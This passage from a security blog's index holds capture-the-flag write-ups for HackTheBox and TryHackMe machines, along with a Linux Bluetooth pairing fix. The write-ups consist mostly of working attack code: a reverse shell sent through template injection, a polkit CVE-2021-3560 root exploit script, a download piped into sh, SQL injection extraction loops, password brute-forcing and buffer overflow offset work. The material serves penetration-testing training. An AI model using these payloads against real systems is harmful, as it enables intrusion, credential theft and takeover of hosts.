connects, execute:\nstrings /var/www/contact/tickets.db | grep -oP \u0026#39;\\$2[ayb]\\$[0-9]+\\$[./A-Za-z0-9]{53}\u0026#39; Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 3200 /tmp/hash.txt --show rm -rf /tmp/hash.txt SSH into the Target With the cracked password, log in via SSH:\nssh joshua@codify.htb cat /home/joshua/user.txt Privilege Escalation Start the Python interpreter in the ssh session of joshua:\npython3 and in the repl run\nimport string import subprocess all = list(string.ascii_letters + string.digits) password = \u0026#34;\u0026#34; found = False while not found: for character in all: command = f\u0026#34;echo \\\u0026#39;{password}{character}*\\\u0026#39; | sudo /opt/scripts/mysql-backup.sh\u0026#34; output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout if \u0026#34;Password confirmed!\u0026#34; in output: password += character print(password) break else: found = True exit() su cat /root/root.txt Summary Codify: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-09-12T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Codify/","protected":null,"snippet":"Codify: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","linux","kerberos"],"title":"HackTheBox Codify Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.143 paper.htb office.paper.htb chat.office.paper.htb This ensures that your system can resolve the domain names paper.htb to the correct IP address 10.10.10.100.\nScript to add hosts automatically ip=\u0026#34;10.10.11.143\u0026#34; domain=\u0026#34;paper.htb office.paper.htb chat.office.paper.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV paper.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-12 16:08 CEST Nmap scan report for paper.htb (10.10.11.143) Host is up (0.067s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-title: HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_ssl-date: TLS randomness does not represent time | http-methods: |_ Potentially risky methods: TRACE Subdomain Enumeration While inspecting the traffic, the office.paper subdomain is discovered. Use gobuster to enumerate additional subdomains:\ngobuster vhost -u office.paper -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-110000.txt Exploiting WordPress CVE-2019-17671 Visit the following URL to exploit a known vulnerability in WordPress:\nhttp://office.paper/?static=1 in it you can find http://chat.office.paper/register/xxxxxxxxxxxxxxxxx\nChat with the bot to explore further:\nlist ../../../home/dwight file ../../../home/dwight/hubot/.env Use the credentials found to SSH into the target:\nssh dwight@paper.htb cat /home/dwight/user.txt System Information Gathering with LinPEAS Run LinPEAS to gather information for privilege escalation:\nwget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh echo \u0026#34;now in the victim pc run -\u0026gt; curl \u0026#34;$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;)\u0026#34;/linpeas.sh | sh\u0026#34; sudo python3 -m http.server 80 rm -rf linpeas.sh Exploiting CVE-2021-3560 for Privilege Escalation Paste the following script into the shell to exploit the vulnerability:\nRED=\u0026#39;\\033[0;31m\u0026#39; GREEN=\u0026#39;\\033[0;32m\u0026#39; BLUE=\u0026#39;\\033[0;34m\u0026#39; NC=\u0026#39;\\033[0m\u0026#39; USR=\u0026#34;pwn\u0026#34; PASS=\u0026#34;root\u0026#34; TIME=\u0026#34;\u0026#34; FORCE=\u0026#34;y\u0026#34; function fetch_timing(){ exec 3\u0026gt;\u0026amp;1 4\u0026gt;\u0026amp;2 out=$( { time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$USR string:$USR int32:1 2\u0026gt;\u0026amp;1 \u0026gt;/dev/null 2\u0026gt;\u0026amp;4 1\u0026gt;\u0026amp;3; } 2\u0026gt;\u0026amp;1 ) tmp=$(echo $out | grep -i \u0026#34;real\u0026#34; | awk -F \u0026#39;.\u0026#39; \u0026#39;{print $2}\u0026#39;) tmp_timing=$(echo ${tmp:0:$((${#tmp}-10))}) exec 3\u0026gt;\u0026amp;- 4\u0026gt;\u0026amp;- echo $tmp_timing } function calculate_timing(){ tmp_timing=$(echo $1) t=$(awk \u0026#34;BEGIN {print `echo $tmp_timing/2`}\u0026#34;) echo $t } function insert_user(){ time_fetched=$(fetch_timing) timing=$(calculate_timing `echo \u0026#34;0.$time_fetched\u0026#34;`) if [[ $TIME ]]; then t=$TIME else t=$timing fi while ! id \u0026#34;$USR\u0026#34; \u0026amp;\u0026gt;/dev/null; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:$USR string:$USR int32:1 2\u0026gt;/dev/null \u0026amp; sleep `echo $t`s 2\u0026gt;/dev/null; kill $! 2\u0026gt;/dev/null done uid=$(id $USR | cut -d = -f2 | cut -d \\( -f1) echo $uid,$t } function insert_pass(){ ti=$(echo $1) u_id=$(echo $2) hash1=$(openssl passwd -5 `echo -n $PASS`) while true; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User$u_id org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye 2\u0026gt;/dev/null \u0026amp; sleep `echo $ti`s 2\u0026gt;/dev/null; kill $! 2\u0026gt;/dev/null if [ $? -eq 0 ]; then break fi done } function exploit(){ while true; do echo -e \u0026#34;${BLUE}[!]${NC} Inserting Username $USR...\u0026#34; ret=$(insert_user) t=$(echo $ret | cut -d , -f2) uid=$(echo $ret | cut -d , -f1) if id \u0026#34;$USR\u0026#34; \u0026amp;\u0026gt;/dev/null; then echo -e \u0026#34;${GREEN}[+]${NC} Inserted Username $USR with UID $uid!\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} Inserting password hash...\u0026#34; insert_pass $t $uid echo -e \u0026#34;${BLUE}[!]${NC} Password insertion attempted!\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} Try to login as the injected user using \u0026#39;su - $USR\u0026#39;\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} If login fails, run the exploit again.\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} If successful, use \u0026#39;sudo bash\u0026#39; to gain root access!\u0026#34; break else echo -e \u0026#34;${RED}[x]${NC} Insertion of Username failed! Retrying...\u0026#34; fi done } if [[ \u0026#34;$FORCE\u0026#34; == \u0026#34;y\u0026#34; ]]; then exploit else echo -e \u0026#34;${BLUE}[!]${NC} Starting Vulnerability Checks...\u0026#34; dist=$(cat /etc/os-release | grep ^ID= | cut -d = -f2 | grep -i \u0026#39;centos\\|rhel\\|fedora\\|ubuntu\\|debian\u0026#39;) echo -e \u0026#34;${BLUE}[!]${NC} Detected Linux distribution as $dist\u0026#34; ac_service=$(dpkg -l | grep -i accountsservice || rpm -qa | grep -i accountsservice) gc_center=$(dpkg -l | grep -i gnome-control-center || rpm -qa | grep -i gnome-control-center) if [[ $ac_service \u0026amp;\u0026amp; $gc_center ]]; then echo -e \u0026#34;${GREEN}[+]${NC} Accounts service and Gnome-Control-Center Installation Found!\u0026#34; polkit=$(dpkg -l | grep -i polkit | grep -i \u0026#34;0.105-26\u0026#34; || rpm -qa | grep -i polkit | grep -i \u0026#39;0.11[3-9]\u0026#39;) if [[ $polkit ]]; then echo -e \u0026#34;${GREEN}[+]${NC} Polkit version appears to be vulnerable!\u0026#34; exploit else echo -e \u0026#34;${RED}[x]${NC} ERROR: Polkit version is not vulnerable!\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} Aborting Execution!\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} Use \u0026#39;-f=y\u0026#39; flag to force exploit.\u0026#34; fi else echo -e \u0026#34;${RED}[x]${NC} ERROR: Accounts service and Gnome-Control-Center NOT found!\u0026#34; echo -e \u0026#34;${BLUE}[!]${NC} Aborting Execution!\u0026#34; fi fi After exploiting, check the root flag:\ncat /root/root.txt Summary Paper: use CVE-2019-17671 and CVE-2021-3560 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-12T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Paper/","protected":null,"snippet":"Paper: use CVE-2019-17671 and CVE-2021-3560 where it fits the service, gain a shell, and escalate to root.","tags":["htb","windows","linux","wordpress","cve-2019-17671","cve-2021-3560"],"title":"HackTheBox Paper Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.253 perfection.htb This ensures that your system can resolve the domain names perfection.htb to the correct IP address 10.10.11.242.\nScript to add hosts automatically ip=\u0026#34;10.10.11.253\u0026#34; domain=\u0026#34;perfection.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV perfection.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-12 11:20 CEST Nmap scan report for perfection.htb (10.10.11.253) Host is up (0.054s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA) |_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519) 80/tcp open http nginx |_http-title: Weighted Grade Calculator Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Remote Code Execution (RCE) To exploit the weighted-grade feature on perfection.htb, perform a remote code execution (RCE):\nRun a listener to catch the reverse shell:\nnc -lvnp 9001 Prepare and send the payload:\nattackerip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) base=$(echo \u0026#34;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/$attackerip/9001 0\u0026gt;\u0026amp;1\u0026#34; | base64) revsh=\u0026#34;%0A\u0026lt;%25%3d+\\`echo+$base|+base64+-d+|+bash\\`+%25\u0026gt;\u0026#34; curl \u0026#39;http://perfection.htb/weighted-grade-calc\u0026#39; --compressed -X POST \\ -H \u0026#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\u0026#39; \\ -H \u0026#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\u0026#39; \\ -H \u0026#39;Accept-Language: en-US,en;q=0.5\u0026#39; \\ -H \u0026#39;Accept-Encoding: gzip, deflate\u0026#39; \\ -H \u0026#39;Content-Type: application/x-www-form-urlencoded\u0026#39; \\ -H \u0026#39;Origin: http://perfection.htb\u0026#39; \\ -H \u0026#39;Connection: keep-alive\u0026#39; \\ -H \u0026#39;Referer: http://perfection.htb/weighted-grade-calc\u0026#39; \\ -H \u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; \\ --data-raw \u0026#39;category1=1\u0026#39;$revsh\u0026#39;\u0026amp;grade1=51\u0026amp;weight1=60\u0026amp;category2=2\u0026amp;grade2=10\u0026amp;weight2=20\u0026amp;category3=3\u0026amp;grade3=10\u0026amp;weight3=10\u0026amp;category4=4\u0026amp;grade4=10\u0026amp;weight4=10\u0026amp;category5=5\u0026amp;grade5=0\u0026amp;weight5=0\u0026#39; Once the reverse shell connects, execute:\ncat \u0026#34;/home/$(ls /home/)/user.txt\u0026#34; strings /home/$(ls /home)/Migration/pupilpath_credentials.db | awk -F\u0026#39;Susan Miller\u0026#39; \u0026#39;/Susan Miller/ {print $2}\u0026#39; Brute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 1400 -a 3 /tmp/hash.txt \u0026#39;susan_nasus_?d?d?d?d?d?d?d?d?d\u0026#39; hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt SSH into the Target With the cracked password, log in via SSH:\nssh susan@perfection.htb sudo su cat /root/root.txt Summary Perfection: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-12T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Perfection/","protected":null,"snippet":"Perfection: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Perfection Writeup"},{"categories":["challenge"],"contents":"https://tryhackme.com/r/room/sqhell\nAdd Hosts Edit the /etc/hosts file and add the following entries:\n\u0026lt;ip\u0026gt; sqhell.thm Script to add hosts automatically ip=\u0026#34;\u0026lt;ip\u0026gt;\u0026#34;;domain=\u0026#34;sqhell.thm\u0026#34; sudo grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Flag 1. Authentication Bypass SQLi http://sqhell.thm/login\n' OR 1=1;-- Flag 2. Time-Based SQLi site=\u0026#34;sqhell.thm\u0026#34; characterlist=\u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}:\u0026#34; flag=\u0026#34;\u0026#34; counter=1 while true; do for char in $(echo \u0026#34;$characterlist\u0026#34; | grep -o .); do payload=\u0026#34;1\u0026#39; AND (SELECT sleep(2) FROM flag WHERE SUBSTR(flag,$counter,1) = \u0026#39;$char\u0026#39;) AND \u0026#39;1\u0026#39;=\u0026#39;1\u0026#34; start=$(date +%s) curl -s -o /dev/null -H \u0026#34;X-Forwarded-For: $payload\u0026#34; \u0026#34;http://$site\u0026#34; end=$(date +%s) duration=$(( end - start )) if [ \u0026#34;$duration\u0026#34; -ge 2 ]; then flag+=\u0026#34;$char\u0026#34; ((counter++)) echo \u0026#34;Current flag: $flag\u0026#34; break fi done if [ ${#flag} -ge 43 ]; then echo \u0026#34;The Flag is: $flag\u0026#34; break fi done Flag 3. Response-Based SQLi Note: URL encoding in the script requires jq. Install it using your package manager;\nfor Arch Linux, use sudo pacman -S jq.\nsite=\u0026#34;sqhell.thm\u0026#34; characterlist=\u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}:\u0026#34; flag=\u0026#34;\u0026#34; counter=1 while true; do for char in $(echo \u0026#34;$characterlist\u0026#34; | grep -o .); do payload=\u0026#34;admin\u0026#39; AND (substr((SELECT flag FROM flag LIMIT 0,1),${counter},1)) = \u0026#39;${char}\u0026#39;;-- -\u0026#34; encoded_payload=$(echo \u0026#34;$payload\u0026#34; | jq -sRr @uri) response=$(curl -s \u0026#34;http://${site}/register/user-check?username=${encoded_payload}\u0026#34;) if echo \u0026#34;$response\u0026#34; | grep -q \u0026#39;false\u0026#39;; then flag+=\u0026#34;$char\u0026#34; counter=$((counter + 1)) echo \u0026#34;Current flag: $flag\u0026#34; break fi done if [ ${#flag} -ge 43 ]; then echo \u0026#34;The Flag is: $flag\u0026#34; break fi done Flag 4. Union-Based SQLi http://sqhell.thm/user?id=-1 UNION ALL SELECT \u0026quot;1 UNION SELECT 1,flag,3,4 FROM flag-- -\u0026quot;,1,2 FROM users\nFlag 5. Union-Based SQLi http://sqhell.thm/post?id=-1 UNION ALL SELECT NULL,NULL,flag,NULL FROM flag-- -\nSummary SQHell: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2024-08-16T23:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-SQHell-Challenge/","protected":null,"snippet":"SQHell: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["thm","web","sql-injection"],"title":"TryHackMe SQHell Challenge"},{"categories":["notes"],"contents":"Are you facing Bluetooth pairing issues on your Linux system? This guide will help you resolve these problems by configuring Bluetooth for seamless, passwordless pairing and auto-pairing, improving convenience.\nI found this solution while referring to the ArchLinux wiki on pairing gamepads via Bluetooth.\nWhy This Matters Bluetooth pairing without a PIN is very convenient, especially for devices like gamepads and headsets. However, it\u0026rsquo;s crucial to understand the security implications and ensure your setup doesn\u0026rsquo;t compromise your system\u0026rsquo;s security.\nAs of 2024-03-09, BlueZ has set ClassicBondedOnly and UserspaceHID to true by default for security reasons. This change can cause pairing issues with certain devices, such as controllers. To enable passwordless pairing, we need to set these values to false.\nStep-by-Step Guide 1. Edit the Configuration File Open or create the Bluetooth configuration file with root privileges using your preferred text editor. For example, using nano:\nsudo nano /etc/bluetooth/input.conf 2. Update Configuration Settings Add the following lines to the Bluetooth configuration file:\nClassicBondedOnly=false UserspaceHID=false ClassicBondedOnly=false: Allows classic Bluetooth devices to pair without requiring a PIN. This setting is typically true for security reasons, but setting it to false enables easier pairing. Here\u0026rsquo;s the refined statement:\nUserspaceHID=false: Disables the default true setting, allowing controllers to enter operational mode and enabling passwordless pairing, which is crucial for auto-pairing functionalities.\n3. Save and Apply Changes Save the file (Ctrl+O in nano) and exit the editor (Ctrl+X).\n4. Restart Bluetooth Services Restart the Bluetooth service and adapter to apply the changes:\nsudo systemctl restart bluetooth.service sudo hciconfig hci0 reset Security Considerations While enabling auto-pairing without a PIN enhances convenience, it also introduces significant security risks. For this reason, in BlueZ, auto-pairing is not enabled by default, and passwordless authentication is disabled.\nUnauthorized Access: Keep your Bluetooth device undiscoverable when not actively pairing to prevent unauthorized access. Devices left discoverable can be vulnerable to unauthorized connections, especially in public or unsecured environments.\nEnvironment Suitability: This setup is primarily suitable for personal devices and environments where security risks are minimal. In more secure environments or with sensitive data, consider maintaining stricter authentication measures.\nNote: Disabling ClassicBondedOnly and adjusting UserspaceHID reduces security by allowing devices to pair without authentication. This setting can also impact the operational mode for controllers, potentially affecting their functionality. Always weigh the convenience of passwordless pairing against the security implications based on your specific use case and security requirements.\nConclusion This guide provides a straightforward method to fix Bluetooth pairing issues on Linux by configuring passwordless authentication and enabling auto-pairing when needed.\nIf you encounter issues or need further assistance, feel free to seek additional support.\nHappy connection!\nSummary Bluetooth Linux Fix: reset the Linux Bluetooth stack, verify adapter state, and pair from a clean baseline.\n","date":"2024-07-13T22:10:00+08:00","permalink":"https://x3ric.com/blog/posts/Bluetooth-Linux-Fix/","protected":null,"snippet":"Bluetooth Linux Fix: reset the Linux Bluetooth stack, verify adapter state, and pair from a clean baseline.","tags":["notes","bluetooth","linux"],"title":"Bluetooth Linux Fix"},{"categories":["challenge"],"contents":"https://tryhackme.com/r/room/dearqa\nGet Informations python-pwntools needed as dep for checksec\nmv DearQA* DearQA.DearQA chmod +x DearQA.DearQA file DearQA.DearQA checksec --file=DearQA.DearQA Decompiled DearQA.DearQA :\n#include \u0026lt;stdint.h\u0026gt; int64_t vuln(void) { puts (\u0026#34;Congratulations!\u0026#34;); puts (\u0026#34;You have entered in the secret function!\u0026#34;); rax = *(stdout); rdi = *(stdout); fflush (); edx = 0; esi = 0; edi = \u0026#34;/bin/bash\u0026#34;; execve (); return rax; } int32_t main(void) { const char * var_20h; puts(\u0026#34;Welcome dearQA\u0026#34;); puts(\u0026#34;I am sysadmin, i am new in developing\u0026#34;); eax = 0; printf(\u0026#34;What\u0026#39;s your name: \u0026#34;); rax = *(stdout); rdi = *(stdout); fflush(); rax = \u0026amp;var_20h; rsi = rax; edi = 0x400851; eax = 0; isoc99_scanf (); rax = \u0026amp;var_20h; rsi = rax; eax = 0; printf(\u0026#34;Hello: %s\\n\u0026#34;); eax = 0; return rax; } Proper test of the segfault ./DearQA.DearQA Welcome dearQA I am sysadmin, i am new in developing What\u0026#39;s your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA zsh: segmentation fault ./DearQA.DearQA Finding Offsets using gdb with gef\ngdb DearQA.DearQA gef➤ pattern create 100 [+] Generating a pattern of 100 bytes (n=8) faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa [+] Saved as \u0026#39;$_gef0\u0026#39; gef➤ r Welcome dearQA I am sysadmin, i am new in developing What\u0026#39;s your name: faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa zsh: segmentation fault ./DearQA.DearQA ─────────────────────────────────────────────────────────────────────────────────────────registers ──── $rax : 0x0 $rbx : 0x00007fffffffd478 → 0x00007fffffffd9ad → \u0026#34;/home/e/DearQA.DearQA\u0026#34; $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007fffffffd358 → \u0026#34;faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]\u0026#34; $rbp : 0x6161616161616165 (\u0026#34;eaaaaaaa\u0026#34;?) $rsi : 0x00000000006012a0 → \u0026#34;Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]\u0026#34; $rdi : 0x00007fffffffd150 → 0x00007fffffffd180 → \u0026#34;Hello: faaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]\u0026#34; $rip : 0x000000000040072f → \u0026lt;main+006c\u0026gt; ret $r8 : 0x73 $r9 : 0x0 $r10 : 0x0 $r11 : 0x202 $r12 : 0x1 $r13 : 0x0 $r14 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $r15 : 0x0 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ──────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd358│+0x0000: \u0026#34;faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]\u0026#34;\t← $rsp 0x00007fffffffd360│+0x0008: \u0026#34;gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]\u0026#34; 0x00007fffffffd368│+0x0010: \u0026#34;haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\u0026#34; 0x00007fffffffd370│+0x0018: \u0026#34;iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\u0026#34; 0x00007fffffffd378│+0x0020: \u0026#34;jaaaaaaakaaaaaaalaaaaaaamaaa\u0026#34; 0x00007fffffffd380│+0x0028: \u0026#34;kaaaaaaalaaaaaaamaaa\u0026#34; 0x00007fffffffd388│+0x0030: \u0026#34;laaaaaaamaaa\u0026#34; 0x00007fffffffd390│+0x0038: 0x000000006161616d (\u0026#34;maaa\u0026#34;?) ────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400724 \u0026lt;main+0061\u0026gt; call 0x400530 \u0026lt;printf@plt\u0026gt; 0x400729 \u0026lt;main+0066\u0026gt; mov eax, 0x0 0x40072e \u0026lt;main+006b\u0026gt; leave → 0x40072f \u0026lt;main+006c\u0026gt; ret [!] Cannot disassemble from $PC ────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: \u0026#34;DearQA.DearQA\u0026#34;, stopped 0x40072f in main (), reason: SIGSEGV ──────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x40072f → main() ─────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern offset 0x00007fffffffd358 [+] Searching for \u0026#39;6661616161616161\u0026#39;/\u0026#39;6161616161616166\u0026#39; with period=8 [+] Found at offset 40 (little-endian search) likely confirm we can control the RSP, I’ll add 40 A’s and 8 B’s.\ngef➤ r Starting program: /root/ctf/thm/ctf/Dear_QA/DearQA.DearQA [Thread debugging using libthread_db enabled] Using host libthread_db library \u0026#34;/lib/x86_64-linux-gnu/libthread_db.so.1\u0026#34;. Welcome dearQA I am sysadmin, i am new in developing What\u0026#39;s your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Program received signal SIGSEGV, Segmentation fault. 0x000000000040072f in main () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x0 $rsp : 0x007fffffffde18 → \u0026#34;BBBBBBBB\u0026#34; $rbp : 0x4141414141414141 (\u0026#34;AAAAAAAA\u0026#34;?) $rsi : 0x000000006012a0 → \u0026#34;Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB[...]\u0026#34; $rdi : 0x007fffffffd890 → 0x007ffff7c596f0 → \u0026lt;funlockfile+0\u0026gt; mov rdi, QWORD PTR [rdi+0x88] $rip : 0x0000000040072f → \u0026lt;main+108\u0026gt; ret $r8 : 0x0 $r9 : 0x007ffff7daa4e0 → 0x0000000000000000 $r10 : 0x007ffff7daa3e0 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x007fffffffdf28 → 0x007fffffffe280 → \u0026#34;/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA\u0026#34; $r13 : 0x000000004006c3 → \u0026lt;main+0\u0026gt; push rbp $r14 : 0x0 $r15 : 0x007ffff7ffd020 → 0x007ffff7ffe240 → 0x0000000000000000 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ───────────────────────────────────────────────────────────────────────────────── stack ──── 0x007fffffffde18│+0x0000: \u0026#34;BBBBBBBB\u0026#34; ← $rsp 0x007fffffffde20│+0x0008: 0x0000000000000000 0x007fffffffde28│+0x0010: 0x000000004006c3 → \u0026lt;main+0\u0026gt; push rbp 0x007fffffffde30│+0x0018: 0x0000000100000000 0x007fffffffde38│+0x0020: 0x007fffffffdf28 → 0x007fffffffe280 → \u0026#34;/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA\u0026#34; 0x007fffffffde40│+0x0028: 0x0000000000000000 0x007fffffffde48│+0x0030: 0xce77702ceab3ec89 0x007fffffffde50│+0x0038: 0x007fffffffdf28 → 0x007fffffffe280 → \u0026#34;/root/ctf/thm/ctf/Dear_QA/DearQA.DearQA\u0026#34; ─────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400724 \u0026lt;main+97\u0026gt; call 0x400530 \u0026lt;printf@plt\u0026gt; 0x400729 \u0026lt;main+102\u0026gt; mov eax, 0x0 0x40072e \u0026lt;main+107\u0026gt; leave → 0x40072f \u0026lt;main+108\u0026gt; ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: \u0026#34;DearQA.DearQA\u0026#34;, stopped 0x40072f in main (), reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x40072f → main() $rsp : 0x007fffffffde18 → \u0026#34;BBBBBBBB\u0026#34; As you can see, the RSP has been overwritten by 8 B’s.\nIf we put a valid memory address on RSP instead of 8 B’s, we can let the program to jump to that memory address, and continue the execution of the program.\nWell, which memory address we should jump? Previously, we found a function called vuln(), which spawns a bash shell. Let’s jump to that 